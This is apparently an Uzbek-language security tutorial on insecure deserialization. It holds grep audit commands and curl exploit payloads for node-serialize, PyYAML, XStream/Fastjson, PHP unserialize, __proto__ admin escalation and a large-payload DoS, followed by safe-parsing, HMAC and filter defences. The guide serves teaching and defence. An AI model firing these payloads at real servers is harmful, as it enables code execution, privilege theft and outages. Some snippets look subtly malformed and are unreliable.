Server foydalanuvchi yuborgan tuzilgan obyektni (JSON/serialized) ishonch bilan tiklaydi va undan foydalanadi. Bu obyekt ichida zararli funksiya chaqiruvi bo'lsa — kod bajariladi.

// XAVFLI — foydalanuvchi ma'lumoti tiklanadi (deserialize)
const sess = unserialize(req.cookies.sess);
// yoki
const cfg = yaml.load(req.body.config);

// Kalit g'oyasi: "ism" maydoniga buyruq qo'yamiz
JSON: {{"__proto__":{{"isAdmin":true}}, "role":"user"}}
YAML: !!js/function "function(){{ return process.env }}"    // PyYAML/PHP

// Yangi zamonaviy kutubxonalar bunda RCE ni to'xtatadi:
JSON.parse()  // xavfsiz — funksiya tiklay olmaydi
yaml.safeLoad()  // eski yaml.load() EMAS

# 1) deserialization qo'ng'iroqlari
grep -rnE "unserialize|yaml\.load|pickle\.loads|marshal|ObjectInputStream|node-serialize|serialize\.unserialize" src/

# 2) xavfli kutubxonalar
grep -nE "node-serialize|js-yaml|pickle|commons-collections|fastjson|xstream" package.json

# 3) foydalanuvchi ma'lumoti deserialize bo'ladimi?
grep -rnE "(unserialize|yaml\.load|pickle\.loads).*(req\.|body|query|params|cookie)" src/

# 1) Node.js — node-serialize IIFE
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").execSync(\"id\")}()"}'

# 2) Python — PyYAML yaml.load (eski)
curl -s -X POST https://site.uz/api/config -H "Content-Type: application/x-yaml" -d '!!python/object/apply:os.system ["id"]'
curl -s -X POST https://site.uz/api/config -H "Content-Type: application/x-yaml" \
  -d '!!python/object/new:subprocess.Popen [["id"]]'

# 3) Java — XStream / Fastjson
curl -s -X POST https://site.uz/api/soap -H "Content-Type: application/xml" \
  -d '<map><entry><string>cmd</string><string>id</string></entry></map>'
curl -s -X POST https://site.uz/api/json \
  -H "Content-Type: application/json" \
  -d '{{"@type":"java.lang.Runtime","cmd":"id"}}'

# 4) PHP — unserialize
curl -s -X POST https://site.uz/api/cart -d 'O:8:"stdClass":1:{s:4:"cmd";s:2:"id";}'

# 5) __proto__ orqali rol ko'tarish (JSON.safe bo'lsa ham)
curl -s -X POST https://site.uz/api/login -H "Content-Type: application/json" \
  -d '{"email":"a@b.uz","__proto__":{"role":"admin","isAdmin":true}}'

# 6) g'oya topish — ilhomlanish uchun
grep -rn "__proto__\|constructor\[" node_modules/lodash/lodash.js 2>/dev/null | head -3
node -e "const s=require('node-serialize'); console.log(s.unserialize('"+console.log(1)+"'))" 2>/dev/null

# 7) DoS (gzip bomb / katta massiv) — ehtiyot
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/json" \
  -d "{\"a\":$(python3 -c 'print("[0]"*100000)')\"}" -m 10 -o /dev/null -w "%{http_code}\n"

1. Xavfsiz kutubxonalar

// Python
yaml.safe_load(data)          // EMAS: yaml.load
json.loads(data)              // pickle EMAS

// Node
JSON.parse(data)              // node-serialize ni olib tashlang

// Java
new ObjectMapper();          // XStream/Fastjson ni olib tashlang

// PHP
json_decode($d)              // unserialize EMAS

2. Formatni qat'iy tekshirish

if (!/^\{{.*\}}$/.test(body.trim())) return fail();
const d = JSON.parse(body);
if (typeof d !== 'object' || Array.isArray(d)) return fail();
if (Object.keys(d).some(k => k.startsWith('_'))) return fail();  // __proto__

3. Algoritmni imzolash

// HMAC bilan tasdiqlash — hujumchi kalitsiz o'zgartira olmaydi
const sig = crypto.createHmac('sha256', SECRET)
  .update(payload).digest('hex');
if (sig !== provided) return fail();

4. Taqiqlash

// PHP ini_set
unserialize_callback_func = 'none';
// Java: JEP / allowlist deserializer
ObjectInputFilter.Config.createSerialFilterFactory().createFilter("example.*;java.lang.*;!*");

• Faqat `safe_load` / `JSON.parse` ishlatiladi
• `node-serialize`, `PyYAML.load`, `unserialize` yo'q
• `__proto__` / `constructor` maydonlari rad etiladi
• Ma'lumot format (schema) tekshiriladi
• Ichki state HMAC bilan imzolangan
• `yaml.load`-ga `!!python/object` bilan test qilindi